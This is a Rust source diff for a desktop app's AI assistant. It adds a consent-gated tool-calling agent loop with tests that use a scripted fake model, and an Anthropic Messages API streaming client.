self.waiters.lock().unwrap_or_else(PoisonError::into_inner).insert(call_id.to_string(), tx); + self.emit(AgentEvent::ConsentNeeded { + call_id: call_id.to_string(), + tool: tool.to_string(), + title: self.host.title(tool), + explanation: explanation.to_string(), + }); + self.host.journal("consent", json!({"tool": tool, "call_id": call_id, "state": "asked"})); + let answer = wait_answer(&rx, &self.stop); + self.waiters.lock().unwrap_or_else(PoisonError::into_inner).remove(call_id); + self.host.journal( + "consent", + json!({"tool": tool, "call_id": call_id, "state": match answer { Some(true) => "allowed", Some(false) => "declined", None => "stopped" }}), + ); + answer + } +} + +fn wait_answer(rx: &Receiver, stop: &Stop) -> Option { + loop { + match rx.recv_timeout(Duration::from_millis(100)) { + Ok(a) => return Some(a), + Err(RecvTimeoutError::Timeout) if !stop.is_stopped() => {} + _ => return None, + } + } +} + +/// A conversation with an API backend: a worker thread runs [`AgentLoop`]. +pub struct ApiConversation { + to_worker: Sender, + events: Receiver, + busy: Arc, + stop: Stop, + cancel: Arc>, + waiters: Waiters, + queued: Vec, + resumed: bool, +} + +impl ApiConversation { + pub fn start(host: Arc, chain: Vec, cfg: LoopConfig) -> Result { + ApiConversation::start_with(host, chain, cfg, BTreeSet::from([Toolset::Core])) + } + + /// [`ApiConversation::start`] with these toolsets enabled from the start. + pub fn start_with(host: Arc, chain: Vec, cfg: LoopConfig, enabled: BTreeSet) -> Result { + if chain.is_empty() { + return Err(ToolError::unavailable("No AI backend could be started.").with_remediation("Add one in Settings → AI.")); + } + let (etx, erx) = std::sync::mpsc::channel(); + let (wtx, wrx) = std::sync::mpsc::channel::(); + let busy = Arc::new(AtomicBool::new(false)); + let stop = Stop::default(); + let cancel = Arc::new(Mutex::new(CancelToken::default())); + let waiters: Waiters = Arc::default(); + // A kept conversation continues where it stopped. + let history = cfg.transcript.as_deref().and_then(context::load).unwrap_or_default(); + let resumed = !history.is_empty(); + let mut agent = AgentLoop { + host, + chain, + current: 0, + history, + system: None, + enabled, + cfg, + events: etx.clone(), + waiters: waiters.clone(), + stop: stop.clone(), + cancel: cancel.clone(), + meter: Meter::default(), + last_input: 0, + }; + let busy2 = busy.clone(); + std::thread::Builder::new() + .name("ai-agent".into()) + .spawn(move || { + while let Ok(text) = wrx.recv() { + let r = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| agent.handle(&text))); + if r.is_err() { + let _ = etx.send(AgentEvent::Error { + message: "The assistant hit a bug and stopped safely.".into(), + remediation: Some("Start a new chat.".into()), + log: None, + }); + } + busy2.store(false, Ordering::SeqCst); + } + }) + .map_err(|e| ToolError::internal(format!("couldn't start the AI worker: {e}")))?; + Ok(ApiConversation { to_worker: wtx, events: erx, busy, stop, cancel, waiters, queued: Vec::new(), resumed }) + } + + /// It continues a conversation kept in its transcript file. + pub fn resumed(&self) -> bool { + self.resumed + } +} + +impl Conversation for ApiConversation { + fn send(&mut self, text: &str) { + self.busy.store(true, Ordering::SeqCst); + if self.to_worker.send(text.to_string()).is_err() { + self.busy.store(false, Ordering::SeqCst); + self.queued.push(AgentEvent::Error { + message: "The assistant isn't running any more.".into(), + remediation: Some("Start a new chat.".into()), + log: None, + }); + } + } + + fn poll(&mut self) -> Vec { + let mut v = std::mem::take(&mut self.queued); + v.extend(self.events.try_iter()); + v + } + + fn answer_consent(&mut self, call_id: &str, allow: bool) { + if let Some(tx) = self.waiters.lock().unwrap_or_else(PoisonError::into_inner).remove(call_id) { + let _ = tx.send(allow); + } + } + + fn stop(&mut self) { + self.stop.stop(); + self.cancel.lock().unwrap_or_else(PoisonError::into_inner).cancel(); + } + + fn is_busy(&self) -> bool { + self.busy.load(Ordering::SeqCst) + } +} + +#[cfg(test)] +pub(crate) mod tests { + use super::*; + use crate::model::TurnResult; + use std::collections::VecDeque; + + /// Paths of boolean sub-schemas in `v`. + fn boolean_subschemas(v: &Value, path: &str, out: &mut Vec) { + let Value::Object(o) = v else { return }; + for (k, sub) in o { + let subs: Vec<(String, &Value)> = match (k.as_str(), sub) { + ("properties" | "$defs" | "definitions", Value::Object(m)) => m.iter().map(|(n, s)| (format!("{path}/{k}/{n}"), s)).collect(), + ("anyOf" | "oneOf" | "allOf" | "prefixItems", Value::Array(a)) => a.iter().enumerate().map(|(i, s)| (format!("{path}/{k}/{i}"), s)).collect(), + ("items" | "not", s) => vec![(format!("{path}/{k}"), s)], + _ => Vec::new(), + }; + for (p, s) in subs { + if s.is_boolean() { + out.push(p); + } else { + boolean_subschemas(s, &p, out); + } + } + } + } + + /// Every place a schema can sit holds an object, as LM Studio requires (#17). + #[test] + fn tool_schemas_have_only_object_subschemas() { + let reg = Registry::with_all_tools(); + let all: BTreeSet = reg.toolsets().into_iter().collect(); + let raw = reg.get("app_call_path_find").map(|s| reg.input_schema(s)).unwrap_or_default(); + assert!(raw.to_string().contains("\"items\":true"), "the case from #17 is still covered"); + let mut bad = Vec::new(); + for t in registry_tools(®, &all) { + boolean_subschemas(&t.schema, &t.name, &mut bad); + } + assert!(bad.is_empty(), "boolean sub-schemas left: {bad:?}"); + } + + #[test] + fn boolean_subschemas_become_objects() { + let s = clean_schema(json!({ + "type": "object", "additionalProperties": false, + "properties": {"functions": {"type": "array", "items": true}, "never": false, "pick": {"anyOf": [true, {"items": false}]}} + })); + assert_eq!(s["properties"]["functions"]["items"], json!({})); + assert_eq!(s["properties"]["never"], json!({"not": {}})); + assert_eq!(s["properties"]["pick"]["anyOf"], json!([{}, {"items": {"not": {}}}])); + assert_eq!(s["additionalProperties"], json!(false), "left as APIs expect"); + // Deeper than the limit: the rest is left as it is. + let mut deep = json!(true); + for _ in 0..(MAX_SCHEMA_DEPTH + 10) { + deep = json!({"items": deep}); + } + let mut bad = Vec::new(); + boolean_subschemas(&clean_schema(deep), "", &mut bad); + assert_eq!(bad.len(), 1); + } + + /// A scripted model: returns canned turns and records requests. + pub struct Scripted { + pub turns: VecDeque>, + pub seen: Arc>>>, + } + + impl ChatModel for Scripted { + fn turn(&mut self, req: &TurnRequest<'_>, on_delta: &mut dyn FnMut(Delta), _stop: &Stop) -> Result { + self.seen.lock().unwrap().push(req.messages.to_vec()); + let r = self.turns.pop_front().unwrap_or_else(|| Err(ToolError::internal("script ended"))); + if let Ok(t) = &r { + let text = t.message.text(); + if !text.is_empty() { + on_delta(Delta::Text(text)); + } + } + r + } + fn model(&self) -> String { + "scripted".into() + } + } + + pub fn turn(blocks: Vec, stop: StopReason) -> Result { + Ok(TurnResult { + message: Msg { role: Speaker::Assistant, blocks }, + stop, + usage: Usage { input_tokens: 10, output_tokens: 5, ..Default::default() }, + model: "claude-opus-5-5".into(), + }) + } + + /// A host whose `danger` tool needs consent. + struct FakeHost { + calls: Mutex>, + journal: Mutex>, + } + + impl ToolHost for FakeHost { + fn tools(&self, enabled: &BTreeSet) -> Vec { + let mut v = Vec::new(); + if enabled.contains(&Toolset::Core) { + v.push(ToolDef { name: "look".into(), description: "d".into(), schema: json!({"type":"object"}) }); + } + if enabled.contains(&Toolset::Runtime) { + v.push(ToolDef { name: "danger".into(), description: "d".into(), schema: json!({"type":"object"}) }); + } + v + } + fn toolset_of(&self, id: &str) -> Option { + match id { + "look" => Some(Toolset::Core), + "danger" => Some(Toolset::Runtime), + _ => None, + } + } + fn call(&self, id: &str, _input: Value, consent: bool, _c: CancelToken) -> Result { + self.calls.lock().unwrap().push((id.to_string(), consent)); + if id == "danger" && !consent { + return Err(ToolError::new(ErrorCode::ConsentRequired, "needs your OK")); + } + Ok(ToolOutput::Value(json!({"ran": id}))) + } + fn journal(&self, kind: &str, entry: Value) { + self.journal.lock().unwrap().push((kind.to_string(), entry)); + } + fn investigation(&self) -> String { + "{}".into() + } + fn clean_room(&self) -> bool { + true + } + fn title(&self, id: &str) -> String { + id.into() + } + } + + fn drain_until_done(c: &mut ApiConversation, mut on: impl FnMut(&AgentEvent, &mut ApiConversation)) -> Vec { + let mut all = Vec::new(); + let deadline = std::time::Instant::now() + Duration::from_secs(10); + while std::time::Instant::now() < deadline { + for e in c.poll() { + on(&e, c); + let done = matches!(e, AgentEvent::TurnDone { .. }); + all.push(e); + if done { + return all; + } + } + std::thread::sleep(Duration::from_millis(5)); + } + panic!("timed out: {all:?}"); + } + + #[test] + fn consent_toolsets_and_one_result_message() { + let host = Arc::new(FakeHost { calls: Mutex::default(), journal: Mutex::default() }); + let seen = Arc::new(Mutex::new(Vec::new())); + let script = Scripted { + turns: VecDeque::from([ + turn(vec![Block::ToolUse { id: "a".into(), name: "danger".into(), input: json!({}) }], StopReason::ToolUse), + turn( + vec![ + Block::ToolUse { id: "b".into(), name: "enable_toolset".into(), input: json!({"toolset": "runtime"}) }, + Block::ToolUse { id: "c".into(), name: "look".into(), input: json!({}) }, + Block::ToolUse { id: "d".into(), name: "look".into(), input: json!({"__invalid_json_input": "{"}) }, + ], + StopReason::ToolUse, + ), + turn(vec![Block::ToolUse { id: "e".into(), name: "danger".into(), input: json!({}) }], StopReason::ToolUse), + turn(vec![Block::ToolUse { id: "f".into(), name: "danger".into(), input: json!({}) }], StopReason::ToolUse), + turn(vec![Block::Text { text: "done".into() }], StopReason::EndTurn), + ]), + seen: seen.clone(), + }; + let slot = ModelSlot { name: "Fake".into(), model: Box::new(script), local: false, effort: None, max_turns: 10 }; + let mut c = ApiConversation::start(host.clone(), vec![slot], LoopConfig { beginner: true, ..LoopConfig::default() }).unwrap(); + c.send("How does it work?"); + assert!(c.is_busy()); + let mut asked = 0; + let events = drain_until_done(&mut c, |e, c| { + if let AgentEvent::ConsentNeeded { call_id, .. } = e { + asked += 1; + c.answer_consent(call_id, call_id == "e"); + } + }); + assert_eq!(asked, 2); + let seen = seen.lock().unwrap(); + // turn 1: danger not enabled → error, no consent asked + let r1 = seen[1].last().unwrap(); + assert!(matches!(&r1.blocks[0], Block::ToolResult { is_error: true, content, .. } if content.contains("enable_toolset"))); + // turn 2: three results in ONE user message + let r2 = seen[2].last().unwrap(); + assert_eq!(r2.role, Speaker::User); + assert_eq!(r2.blocks.len(), 3); + assert!(matches!(&r2.blocks[2], Block::ToolResult { is_error: true, content, .. } if content.contains("INVALID_JSON"))); + // turn 3 allowed, turn 4 declined + assert!(matches!(&seen[3].last().unwrap().blocks[0], Block::ToolResult { is_error: false, .. })); + assert!(matches!(&seen[4].last().unwrap().blocks[0], Block::ToolResult { is_error: true, content, .. } if content.contains("said no"))); + let calls = host.calls.lock().unwrap().clone(); + assert!(calls.contains(&("danger".into(), true))); + assert!(events.iter().any(|e| matches!(e, AgentEvent::TextDelta { text } if text == "done"))); + let j = host.journal.lock().unwrap().clone(); + for kind in ["user_message", "model_turn", "consent"] { + assert!(j.iter().any(|(k, _)| k == kind)); + } + assert!(matches!(events.last(), Some(AgentEvent::TurnDone { input_tokens: 50, .. }))); + // cost known for the priced model id + assert!(matches!(events.last(), Some(AgentEvent::TurnDone { cost_usd: Some(_), .. }))); + } + + #[test] + fn a_long_conversation_is_summarised_kept_and_resumed() { + let d = tempfile::tempdir().unwrap(); + let path = d.path().join("transcript.json"); + let host = Arc::new(FakeHost { calls: Mutex::default(), journal: Mutex::default() }); + let seen = Arc::new(Mutex::new(Vec::new())); + let look = |id: &str| turn(vec![Block::ToolUse { id: id.into(), name: "look".into(), input: json!({}) }], StopReason::ToolUse); + let mut summary = turn(vec![Block::Text { text: "Made index.html; the menu is left.".into() }], StopReason::EndTurn).unwrap(); + summary.usage = Usage { input_tokens: 30, output_tokens: 4, cache_read_tokens: 7, cache_write_tokens: 3 }; + let script = Scripted { + turns: VecDeque::from([look("a"), look("b"), Ok(summary), turn(vec![Block::Text { text: "done".into() }], StopReason::EndTurn)]), + seen: seen.clone(), + }; + let slot = ModelSlot { name: "Fake".into(), model: Box::new(script), local: false, effort: None, max_turns: 10 }; + // Ordinary turns report 10 input tokens, over this budget, so room is made before the third. + let cfg = || LoopConfig { + transcript: Some(path.clone()), + context_tokens: 5, + prices: BTreeMap::from([( + "claude-opus-5-5".into(), + crate::config::Price { input_per_mtok: 1.0, output_per_mtok: 2.0, cache_read_per_mtok: Some(0.25), cache_write_per_mtok: Some(0.5) }, + )]), + ..LoopConfig::default() + }; + let mut c = ApiConversation::start(host.clone(), vec![slot], cfg()).unwrap(); + assert!(!c.resumed()); + c.send("Build it"); + let events = drain_until_done(&mut c, |_, _| {}); + assert!(events.iter().any(|e| matches!(e, AgentEvent::TextDelta { text } if text == "done"))); + { + let seen = seen.lock().unwrap(); + assert_eq!(seen.len(), 4, "two steps, the summary, the last step"); + assert!(seen[2].last().unwrap().text().contains("summary of the work so far"), "the summary request"); + assert!(seen[3][0].text().contains("Made index.html"), "the summary replaced the oldest part"); + assert!(seen[3].len() < seen[1].len() + 2); + } + assert!( + matches!(events.last(), Some(AgentEvent::TurnDone { input_tokens: 60, output_tokens: 19, cost_usd: Some(cost), .. }) if (cost - 0.00010125).abs() < 1e-12), + "{events:?}" + ); + { + let journal = host.journal.lock().unwrap(); + assert!(journal.iter().any(|(kind, _)| kind == "context")); + let turns: Vec<_> = journal.iter().filter(|(kind, _)| kind == "model_turn").map(|(_, entry)| entry).collect(); + assert_eq!(turns.len(), 4, "all model calls, including the summary, are journaled"); + let summary = turns.iter().find(|entry| entry["purpose"] == "context_summary").unwrap(); + assert_eq!(summary["input_tokens"], 30); + assert_eq!(summary["output_tokens"], 4); + assert_eq!(summary["cache_read_tokens"], 7); + assert_eq!(summary["cache_write_tokens"], 3); + assert_eq!(summary["effort"], "low"); + assert!((turns.iter().map(|entry| entry["cost_usd"].as_f64().unwrap()).sum::() - 0.00010125).abs() < 1e-12); + } + // A new conversation with the same file continues it. + let seen2 = Arc::new(Mutex::new(Vec::new())); + let script = Scripted { turns: VecDeque::from([turn(vec![Block::Text { text: "blue now".into() }], StopReason::EndTurn)]), seen: seen2.clone() }; + let slot = ModelSlot { name: "Fake".into(), model: Box::new(script), local: false, effort: None, max_turns: 10 }; + let mut c = ApiConversation::start(host, vec![slot], LoopConfig { transcript: Some(path.clone()), ..LoopConfig::default() }).unwrap(); + assert!(c.resumed()); + c.send("Make it blue"); + drain_until_done(&mut c, |_, _| {}); + let seen2 = seen2.lock().unwrap(); + assert!(seen2[0][0].text().contains("Made index.html") && seen2[0].last().unwrap().text().contains("Make it blue")); + assert!(crate::context::load(&path).unwrap().last().unwrap().text().contains("blue now"), "kept after every message"); + } + + #[test] + fn summary_accounting_keeps_unknown_prices_and_failed_calls_distinct() { + for (local, failed) in [(false, false), (true, false), (false, true)] { + let host = Arc::new(FakeHost { calls: Mutex::default(), journal: Mutex::default() }); + let seen = Arc::new(Mutex::new(Vec::new())); + let look = |id: &str| turn(vec![Block::ToolUse { id: id.into(), name: "look".into(), input: json!({}) }], StopReason::ToolUse); + let summary = if failed { + Err(ToolError::internal("summary unavailable")) + } else { + let mut result = turn(vec![Block::Text { text: String::new() }], StopReason::EndTurn).unwrap(); + result.model = "unpriced-fixture-model".into(); + Ok(result) + }; + let script = Scripted { + turns: VecDeque::from([look("a"), look("b"), summary, turn(vec![Block::Text { text: "done".into() }], StopReason::EndTurn)]), + seen: seen.clone(), + }; + let slot = ModelSlot { name: "Fake".into(), model: Box::new(script), local, effort: None, max_turns: 10 }; + let mut c = ApiConversation::start(host.clone(), vec![slot], LoopConfig { context_tokens: 5, ..LoopConfig::default() }).unwrap(); + c.send("Build it"); + let events = drain_until_done(&mut c, |_, _| {}); + assert_eq!(seen.lock().unwrap().len(), 4, "the summary was attempted"); + let Some(AgentEvent::TurnDone { input_tokens, output_tokens, cost_usd, .. }) = events.last() else { panic!("{events:?}") }; + assert_eq!((*input_tokens, *output_tokens), if failed { (30, 15) } else { (40, 20) }); + if local { + assert_eq!(*cost_usd, Some(0.0)); + } else if failed { + assert!(cost_usd.is_some(), "a failed call supplies no usage or unknown price"); + } else { + assert_eq!(*cost_usd, None, "the successful summary's unknown price makes the total unknown"); + } + let journal = host.journal.lock().unwrap(); + assert_eq!(journal.iter().filter(|(kind, _)| kind == "model_turn").count(), if failed { 3 } else { 4 }); + } + } + + #[test] + fn fallback_chain_and_refusal() { + let host = Arc::new(FakeHost { calls: Mutex::default(), journal: Mutex::default() }); + let failing = Scripted { turns: VecDeque::from([Err(ToolError::new(ErrorCode::EngineMissing, "down"))]), seen: Arc::default() }; + let refusing = Scripted { + turns: VecDeque::from([turn(vec![], StopReason::Refusal), turn(vec![Block::Text { text: "ok".into() }], StopReason::EndTurn)]), + seen: Arc::default(), + }; + let chain = vec![ + ModelSlot { name: "A".into(), model: Box::new(failing), local: false, effort: None, max_turns: 5 }, + ModelSlot { name: "B".into(), model: Box::new(refusing), local: true, effort: None, max_turns: 5 }, + ]; + let mut c = ApiConversation::start(host, chain, LoopConfig::default()).unwrap(); + c.send("q"); + let ev = drain_until_done(&mut c, |_, _| {}); + assert!(ev.iter().any(|e| matches!(e, AgentEvent::Status { text } if text.contains("Trying B")))); + assert!(ev.iter().any(|e| matches!(e, AgentEvent::Error { message, .. } if message.contains("declined")))); + assert!(matches!(ev.last(), Some(AgentEvent::TurnDone { backend, .. }) if backend == "B")); + c.send("again"); + let ev = drain_until_done(&mut c, |_, _| {}); + assert!(ev.iter().any(|e| matches!(e, AgentEvent::TextDelta { text } if text == "ok"))); + assert!(!c.is_busy() || c.poll().is_empty()); + } + + #[test] + fn compaction_keeps_small_results_and_previews_large_ones() { + use craft_anything_evidence::{Environment, EvidenceBuilder, Subject}; + let small = EvidenceBuilder::new("op", Subject::default(), Environment::builtin(true)).result(json!({"a": 1})).summary("small").build().unwrap(); + let (text, summary, id) = compact(&ToolOutput::evidence(small.clone())); + assert!(text.contains("\"result\":{\"a\":1}")); + assert_eq!(summary, "small"); + assert_eq!(id, Some(small.id)); + let big = EvidenceBuilder::new("op", Subject::default(), Environment::builtin(true)).result(json!({"s": "x".repeat(100_000)})).build().unwrap(); + let (text, _, _) = compact(&ToolOutput::evidence(big)); + assert!(text.len() < RESULT_BUDGET + 2048); + assert!(text.contains("result_preview")); + let (text, _, id) = compact(&ToolOutput::Value(json!({"k": "v"}))); + assert!(text.contains("\"k\"")); + assert!(id.is_none()); + assert!(truncate_json(&json!("é".repeat(50_000)), 1000).len() < 1100); + } +} diff --git a/desktop/crates/ai/src/anthropic.rs b/desktop/crates/ai/src/anthropic.rs new file mode 100644 index 0000000..9a6f587 --- /dev/null +++ b/desktop/crates/ai/src/anthropic.rs @@ -0,0 +1,441 @@ +//! Anthropic Messages API: streaming SSE, tools, adaptive thinking, effort, prompt caching and +//! server-side fallbacks. + +use crate::http::{self, SseEvent}; +use crate::model::{Block, ChatModel, Delta, Effort, Msg, Speaker, Stop, StopReason, ToolDef, TurnRequest, TurnResult, Usage}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use serde_json::{Value, json}; + +pub const DEFAULT_BASE: &str = "https://api.anthropic.com"; +pub const DEFAULT_MODEL: &str = "claude-opus-5-5"; +/// Offered in the model dropdown when the live list can't be fetched. +pub const MODELS: &[&str] = &["claude-opus-5-5", "claude-sonnet-5-5", "claude-haiku-5-5", "claude-fable-5-1"]; +/// Models that offer fewer effort levels than all five (Claude's effort guide), by model id +/// prefix; any other model is sent the level as chosen. +pub const EFFORT_LEVELS: &[(&str, &[Effort])] = &[ + ("claude-opus-4-6", &[Effort::Low, Effort::Medium, Effort::High, Effort::Max]), + ("claude-sonnet-4-6", &[Effort::Low, Effort::Medium, Effort::High, Effort::Max]), + ("claude-opus-4-5", &[Effort::Low, Effort::Medium, Effort::High]), +]; + +/// The effort level `model` is sent: `effort`, or the nearest level below it the model has. +pub fn effort_for(model: &str, effort: Effort) -> Effort { + let model = model.trim().trim_start_matches("anthropic/").trim_start_matches("anthropic."); + EFFORT_LEVELS.iter().find(|(prefix, _)| model.starts_with(prefix)).map_or(effort, |(_, levels)| effort.within(levels)) +} +pub const API_VERSION: &str = "2023-06-01"; +pub const FALLBACK_BETA: &str = "server-side-fallback-2026-07-01"; +pub const MAX_TOKENS: u32 = 64_000; + +/// Most content blocks we track in one response. +const MAX_BLOCKS: usize = 4096; + +#[derive(Debug, Clone)] +pub struct Anthropic { + pub base_url: String, + pub api_key: String, + pub model: String, + /// Send the server-side fallback header and body field. + pub fallbacks: bool, +} + +impl Anthropic { + pub fn new(base_url: Option<&str>, api_key: String, model: &str) -> Self { + Anthropic { + base_url: base_url.unwrap_or(DEFAULT_BASE).trim_end_matches('/').to_string(), + api_key, + model: if model.is_empty() { DEFAULT_MODEL.to_string() } else { model.to_string() }, + fallbacks: true, + } + } + + fn url(&self, path: &str) -> String { + let base = self.base_url.trim_end_matches("/v1"); + format!("{base}/v1/{path}") + } + + pub fn headers(&self) -> Vec<(&'static str, String)> { + let mut h = vec![("x-api-key", self.api_key.clone()), ("anthropic-version", API_VERSION.to_string())]; + if self.fallbacks { + h.push(("anthropic-beta", FALLBACK_BETA.to_string())); + } + h + } + + /// The request body for one streamed turn. + pub fn body(&self, req: &TurnRequest<'_>) -> Value { + let mut body = json!({ + "model": self.model, + "max_tokens": req.max_tokens, + "stream": true, + "system": [{"type": "text", "text": req.system, "cache_control": {"type": "ephemeral"}}], + "messages": req.messages.iter().map(message_json).collect::>(), + "thinking": {"type": "adaptive", "display": "summarized"}, + "output_config": {"effort": effort_for(&self.model, req.effort).as_str()}, + }); + if !req.tools.is_empty() { + let n = req.tools.len(); + let tools: Vec = req + .tools + .iter() + .enumerate() + .map(|(i, t)| { + let mut v = json!({"name": t.name, "description": t.description, "input_schema": t.schema, "eager_input_streaming": true}); + if i + 1 == n + && let Some(m) = v.as_object_mut() + { + m.insert("cache_control".into(), json!({"type": "ephemeral"})); + } + v + }) + .collect(); + if let Some(m) = body.as_object_mut() { + m.insert("tools".into(), Value::Array(tools)); + m.insert("tool_choice".into(), json!({"type": "auto"})); + } + } + if self.fallbacks + && let Some(m) = body.as_object_mut() + { + m.insert("fallbacks".into(), json!("default")); + } + body + } + + /// Model ids available to this key. + pub fn list_models(&self, timeout: std::time::Duration) -> Result, ToolError> { + let agent = http::quick_agent(timeout); + let v = http::get_json(&agent, "Anthropic", &self.url("models"), &self.headers())?; + Ok(v.get("data") + .and_then(Value::as_array) + .map(|a| a.iter().filter_map(|m| m.get("id").and_then(Value::as_str).map(str::to_string)).collect()) + .unwrap_or_default()) + } +} + +pub fn message_json(m: &Msg) -> Value { + let role = match m.role { + Speaker::User => "user", + Speaker::Assistant => "assistant", + }; + let content: Vec = m + .blocks + .iter() + .map(|b| match b { + Block::Text { text } => json!({"type": "text", "text": text}), + Block::Thinking { thinking, signature } => json!({"type": "thinking", "thinking": thinking, "signature": signature}), + Block::RedactedThinking { data } => json!({"type": "redacted_thinking", "data": data}), + Block::ToolUse { id, name, input } => json!({"type": "tool_use", "id": id, "name": name, "input": input}), + Block::ToolResult { tool_use_id, content, is_error } => { + json!({"type": "tool_result", "tool_use_id": tool_use_id, "content": content, "is_error": is_error}) + } + }) + .collect(); + json!({"role": role, "content": content}) +} + +#[derive(Debug, Default)] +enum Partial { + #[default] + Empty, + Text(String), + Thinking(String, String), + Redacted(String), + Tool { + id: String, + name: String, + json: String, + }, +} + +/// Accumulates one streamed response. +#[derive(Debug, Default)] +pub struct StreamState { + blocks: Vec, + pub usage: Usage, + pub stop: Option, + pub model: String, + pub done: bool, +} + +impl StreamState { + fn slot(&mut self, index: usize) -> Option<&mut Partial> { + if index >= MAX_BLOCKS { + return None; + } + if self.blocks.len() <= index { + self.blocks.resize_with(index + 1, Partial::default); + } + self.blocks.get_mut(index) + } + + /// Apply one SSE event. + pub fn apply(&mut self, ev: &SseEvent, on_delta: &mut dyn FnMut(Delta)) -> Result<(), ToolError> { + if ev.data.is_empty() { + return Ok(()); + } + let v: Value = + serde_json::from_str(&ev.data).map_err(|e| ToolError::new(ErrorCode::GarbledOutput, format!("Anthropic sent an event we couldn't read: {e}")))?; + let kind = v.get("type").and_then(Value::as_str).or(ev.event.as_deref()).unwrap_or_default(); + let index = v.get("index").and_then(Value::as_u64).and_then(|i| usize::try_from(i).ok()).unwrap_or(0); + match kind { + "message_start" => { + let m = v.get("message").cloned().unwrap_or(Value::Null); + self.model = m.get("model").and_then(Value::as_str).unwrap_or_default().to_string(); + if let Some(u) = m.get("usage") { + self.read_usage(u); + } + } + "content_block_start" => { + let b = v.get("content_block").cloned().unwrap_or(Value::Null); + let s = |k: &str| b.get(k).and_then(Value::as_str).unwrap_or_default().to_string(); + let p = match b.get("type").and_then(Value::as_str).unwrap_or_default() { + "text" => Partial::Text(s("text")), + "thinking" => Partial::Thinking(s("thinking"), s("signature")), + "redacted_thinking" => Partial::Redacted(s("data")), + "tool_use" | "server_tool_use" => Partial::Tool { id: s("id"), name: s("name"), json: String::new() }, + _ => Partial::Empty, + }; + if !s("text").is_empty() { + on_delta(Delta::Text(s("text"))); + } + if let Some(slot) = self.slot(index) { + *slot = p; + } + } + "content_block_delta" => { + let d = v.get("delta").cloned().unwrap_or(Value::Null); + let s = |k: &str| d.get(k).and_then(Value::as_str).unwrap_or_default().to_string(); + let dtype = d.get("type").and_then(Value::as_str).unwrap_or_default().to_string(); + let Some(slot) = self.slot(index) else { return Ok(()) }; + match (dtype.as_str(), slot) { + ("text_delta", Partial::Text(t)) => { + let piece = s("text"); + t.push_str(&piece); + on_delta(Delta::Text(piece)); + } + ("text_delta", slot @ Partial::Empty) => { + let piece = s("text"); + *slot = Partial::Text(piece.clone()); + on_delta(Delta::Text(piece)); + } + ("thinking_delta", Partial::Thinking(t, _)) => { + let piece = s("thinking"); + t.push_str(&piece); + on_delta(Delta::Thinking(piece)); + } + ("signature_delta", Partial::Thinking(_, sig)) => sig.push_str(&s("signature")), + ("input_json_delta", Partial::Tool { json, .. }) => { + json.push_str(&s("partial_json")); + if json.len() > 4 * 1024 * 1024 { + return Err(ToolError::new(ErrorCode::OverLimit, "The model sent oversized tool input.")); + } + } + _ => {} + } + } + "content_block_stop" | "ping" => {} + "message_delta" => { + if let Some(r) = v.pointer("/delta/stop_reason").and_then(Value::as_str) { + self.stop = Some(StopReason::parse(r)); + } + if let Some(u) = v.get("usage") { + self.read_usage(u); + } + } + "message_stop" => self.done = true, + "error" => { + let et = v.pointer("/error/type").and_then(Value::as_str).unwrap_or("error"); + let msg = v.pointer("/error/message").and_then(Value::as_str).unwrap_or("unknown error"); + let code = match et { + "overloaded_error" | "api_error" => ErrorCode::EngineMissing, + "rate_limit_error" => ErrorCode::OverLimit, + "authentication_error" | "permission_error" => ErrorCode::NoPermission, + _ => ErrorCode::ProgramFailed, + }; + return Err( + ToolError::new(code, format!("Anthropic stream error ({et}): {msg}")).with_remediation("Try again; if it keeps happening, switch backend.") + ); + } + _ => {} + } + Ok(()) + } + + fn read_usage(&mut self, u: &Value) { + let g = |k: &str| u.get(k).and_then(Value::as_u64); + if let Some(n) = g("input_tokens") { + self.usage.input_tokens = n; + } + if let Some(n) = g("output_tokens") { + self.usage.output_tokens = n; + } + if let Some(n) = g("cache_read_input_tokens") { + self.usage.cache_read_tokens = n; + } + if let Some(n) = g("cache_creation_input_tokens") { + self.usage.cache_write_tokens = n; + } + } + + /// The finished assistant message. + pub fn finish(self, fallback_model: &str) -> Result { + let mut blocks = Vec::new(); + for p in self.blocks { + match p { + Partial::Empty => {} + Partial::Text(t) => blocks.push(Block::Text { text: t }), + Partial::Thinking(t, s) => blocks.push(Block::Thinking { thinking: t, signature: s }), + Partial::Redacted(d) => blocks.push(Block::RedactedThinking { data: d }), + Partial::Tool { id, name, json } => { + // Eagerly streamed input is not validated by the server: a truncated or + // malformed object becomes a marked input the agent loop answers with an error. + let input = if json.trim().is_empty() { json!({}) } else { serde_json::from_str(&json).unwrap_or_else(|_| invalid_input(&json)) }; + blocks.push(Block::ToolUse { id, name, input }); + } + } + } + let stop = match self.stop { + Some(s) => s, + None if self.done => StopReason::EndTurn, + None => return Err(ToolError::new(ErrorCode::Truncated, "The answer stream ended early.").with_remediation("Try again.")), + }; + let model = if self.model.is_empty() { fallback_model.to_string() } else { self.model }; + Ok(TurnResult { message: Msg { role: Speaker::Assistant, blocks }, stop, usage: self.usage, model }) + } +} + +impl ChatModel for Anthropic { + fn turn(&mut self, req: &TurnRequest<'_>, on_delta: &mut dyn FnMut(Delta), stop: &Stop) -> Result { + let agent = http::stream_agent(); + let reader = http::post_json(&agent, "Anthropic", &self.url("messages"), &self.headers(), &self.body(req))?; + let mut state = StreamState::default(); + http::parse_sse(reader, |ev| { + stop.check()?; + state.apply(&ev, on_delta)?; + Ok(!state.done) + })?; + stop.check()?; + state.finish(&self.model) + } + + fn model(&self) -> String { + self.model.clone() + } +} + +/// Marker for tool input that wasn't valid JSON. +pub const INVALID_INPUT_KEY: &str = "__invalid_json_input"; + +pub fn invalid_input(raw: &str) -> Value { + json!({ INVALID_INPUT_KEY: raw.chars().take(200).collect::() }) +} + +/// Tool definitions sorted by name so the cached prefix stays identical between requests. +pub fn sorted(mut tools: Vec) -> Vec { + tools.sort_by(|a, b| a.name.cmp(&b.name)); + tools +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::model::Effort; + + #[test] + fn body_has_required_fields() { + let a = Anthropic::new(None, "k".into(), ""); + let msgs = vec![Msg::user_text("hi")]; + let tools = vec![ + ToolDef { name: "a".into(), description: "d".into(), schema: json!({"type": "object"}) }, + ToolDef { name: "b".into(), description: "d".into(), schema: json!({"type": "object"}) }, + ]; + let b = a.body(&TurnRequest { system: "sys", messages: &msgs, tools: &tools, effort: Effort::High, max_tokens: MAX_TOKENS }); + assert_eq!(b["model"], "claude-opus-5-5"); + assert_eq!(b["thinking"]["type"], "adaptive"); + assert_eq!(b["output_config"]["effort"], "high"); + assert_eq!(b["tool_choice"]["type"], "auto"); + assert_eq!(b["fallbacks"], "default"); + 